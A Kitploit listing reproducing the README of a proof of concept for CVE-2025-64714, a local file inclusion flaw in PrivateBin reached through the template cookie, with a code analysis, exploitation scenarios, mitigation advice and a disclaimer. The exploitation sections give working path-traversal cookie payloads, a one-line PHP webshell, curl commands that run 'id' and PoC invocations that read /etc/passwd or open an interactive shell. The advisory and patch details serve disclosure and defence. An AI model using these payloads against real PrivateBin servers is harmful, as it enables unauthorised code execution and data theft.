Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64714-privatebin-2.0.2-PoC | Kitploit
Tools/GitHubGitHub/medaz-sploit/cve-2025-64714-privatebin-2.0.2-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmedaz-sploit/cve-2025-64714-privatebin-2.0.2-poc

CVE-2025-64714-privatebin-2.0.2-PoC

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
13 months agoNot yet reviewed

CVE-2025-64714 — PrivateBin Local File Inclusion via Template Cookie Path Traversal

Severity: Medium (CVSS v3.1: 5.8)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected versions: PrivateBin >= 1.7.7
Patched version: 2.0.3
CWE: CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path), CWE-98 (PHP File Inclusion)
Official advisory: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
Reporter: Benoit Esnard


Table of Contents

  1. Summary
  2. Vulnerability Analysis
  3. Root Cause
  4. Attack Conditions
  5. Exploitation Scenarios
  6. PoC Usage
  7. Impact
  8. Mitigation
  9. Timeline
  10. Disclaimer

Summary

PrivateBin version 1.7.7 introduced a template-switching feature allowing users to persist their preferred visual theme via a template cookie. Due to insufficient validation of the cookie value, an unauthenticated attacker can supply a path traversal sequence (e.g. ../) to cause the server to include an arbitrary PHP file from outside the intended tpl/ directory — a classic Local File Inclusion (LFI) vulnerability.

When chained with a separate write primitive (a misconfigured upload endpoint, another vulnerability, or local access), this LFI can escalate to Remote Code Execution (RCE).


Vulnerability Analysis

The Vulnerable Change (introduced in commit 44f8cfb, v1.7.7)

Before v1.7.7, TemplateSwitcher::isTemplateAvailable() only accepted templates that were part of a pre-defined allow-list:

root@kitploit:~
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
    return in_array($template, self::getAvailableTemplates());
}

In v1.7.7 a fallback path was added to support third-party themes. The new code checks whether the file exists on disk instead of validating it against a safe list:

root@kitploit:~
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
    $available = in_array($template, self::getAvailableTemplates());

    if (!$available && !View::isBootstrapTemplate($template)) {
        $path      = View::getTemplateFilePath($template);
        $available = file_exists($path);  // ← trusts user-supplied $template
    }

    return $available;
}

Path Construction — No Sanitisation

View::getTemplateFilePath() simply concatenates the user-supplied value into a filesystem path:

root@kitploit:~
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';

With template=../cfg/conf the resolved path becomes:

root@kitploit:~
/var/www/privatebin/tpl/../cfg/conf.php
       ──────────────────────────────────
              = /var/www/privatebin/cfg/conf.php

There is no call to realpath(), no stripping of .. sequences, and no check that the resolved path stays within tpl/.

The Include — Arbitrary PHP Execution

Once isTemplateAvailable() returns true, View::draw() unconditionally includes the path:

root@kitploit:~
public function draw($template)
{
    $path = self::getTemplateFilePath($template);
    if (!file_exists($path)) {
        throw new Exception('Template ' . $template . ' not found!', 80);
    }
    extract($this->_variables);
    include $path;          // ← attacker-controlled path included here
}

extract($this->_variables) also runs before the include, potentially polluting the variable namespace available to the included file.

Bypass Condition

The only additional guard is a check that blocks strings starting with bootstrap-:

root@kitploit:~
if (!$available && !View::isBootstrapTemplate($template)) { … }

isBootstrapTemplate() returns true only when the string starts with bootstrap-. A path traversal string like ../data/shell trivially bypasses this.


Attack Conditions

Both conditions must be true simultaneously:

#Condition
1templateselection = true is set in cfg/conf.php (non-default)
2The attacker can reference an existing .php file via a relative path from tpl/

For pure LFI / info-leak, condition 2 is already met by existing PrivateBin PHP files.
For RCE, the attacker additionally needs a write primitive to place a PHP webshell under a reachable directory (e.g. data/, writable upload dirs, etc.).


Exploitation Scenarios

Scenario 1 — Information Leak (Pure LFI)

The attacker reads PrivateBin's own PHP files. Most are protected by a guard line that produces a 403 or 500 response, but the response itself confirms LFI.

root@kitploit:~
Cookie: template=../cfg/conf

Resolved server-side: tpl/../cfg/conf.php → cfg/conf.php

Even a 500 response is a meaningful signal — it proves the file was reached and the PHP engine attempted to execute it.

Scenario 2 — RCE via Write Primitive

⚠️ Important prerequisite: CVE-2025-64714 is a Local File Inclusion vulnerability — it can only include files that already exist on the server. It provides no write capability on its own. To achieve RCE you must first obtain a write primitive through a completely separate vector (e.g. a file-upload vulnerability in another component, SSRF to an internal service, or direct filesystem access in a CTF/lab environment). Without a write primitive, the --cmd and --interactive modes of the PoC have no effect. The PoC script only probes for a webshell you must have already placed by other means.

Step 1 — Drop a webshell using any write vector (e.g. another file-upload vulnerability, SSRF to internal service, or direct filesystem access in a CTF/lab scenario):

root@kitploit:~
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>

Step 2 — Trigger LFI via the template cookie:

root@kitploit:~
Cookie: template=../data/shell

Resolved: tpl/../data/shell.php → data/shell.php ✓

Step 3 — Execute commands via GET parameter:

root@kitploit:~
curl -s -k \
  --cookie 'template=../data/shell' \
  -G --data-urlencode "cmd=id" \
  https://bin.example.com

Response:

root@kitploit:~
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

Scenario 3 — Read Sensitive Non-PrivateBin Files

If other PHP applications share the same web root (common in shared hosting), their configuration files may be reachable:

root@kitploit:~
Cookie: template=../../other_app/config/database

PoC Usage

Requirements

root@kitploit:~
pip install requests

Basic Commands

root@kitploit:~
# 1. Detect whether the target is vulnerable
python3 poc.py --url https://bin.example.com --detect

# 2. Trigger LFI to read a specific PHP file
python3 poc.py --url https://bin.example.com --template ../cfg/conf

# 3. Upload + trigger webshell + run single command (RCE chain)
python3 poc.py --url https://bin.example.com \
               --upload-shell ../data/pwn \
               --cmd "cat /etc/passwd"

# 4. Interactive pseudo-shell
python3 poc.py --url https://bin.example.com \
               --upload-shell ../data/pwn \
               --interactive

Manual curl Equivalent

root@kitploit:~
# Detection probe
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com

# RCE (after writing shell to data/pwn.php)
curl -s -k \
  --cookie 'template=../data/pwn' \
  -G --data-urlencode "cmd=id" \
  https://bin.example.com

Impact

The PrivateBin team's own analysis found 11 out of ~300 publicly listed instances had templateselection enabled, and none had an unprotected configuration file at time of disclosure. However, the vulnerability is still significant in environments with misconfigured setups or secondary write vulnerabilities.


Mitigation

Patched Version

Upgrade to PrivateBin 2.0.3 or later. The fix restores strict allow-list validation — the template cookie value is only accepted if it exactly matches a template name from the configured availabletemplates list.

Workaround (without upgrading)

Disable template selection in cfg/conf.php:

root@kitploit:~
[main]
templateselection = false

This is the default value; it only needs to be set explicitly if it was previously enabled.


Disclaimer

This repository is provided for educational purposes and authorised security testing only. The author is not responsible for any misuse. Always obtain explicit written permission before testing against systems you do not own. Unauthorised exploitation of computer systems is illegal in most jurisdictions.

Download Tool
VectorImpactNotes
LFI — PrivateBin configLimitedDefault config file has a PHP protection line; yields 403/500
LFI — Paste data filesLimitedEach paste file includes the same protection line
LFI — Third-party PHP filesHighDepends on co-hosted applications
LFI + write primitive → RCECriticalFull command execution as the web-server user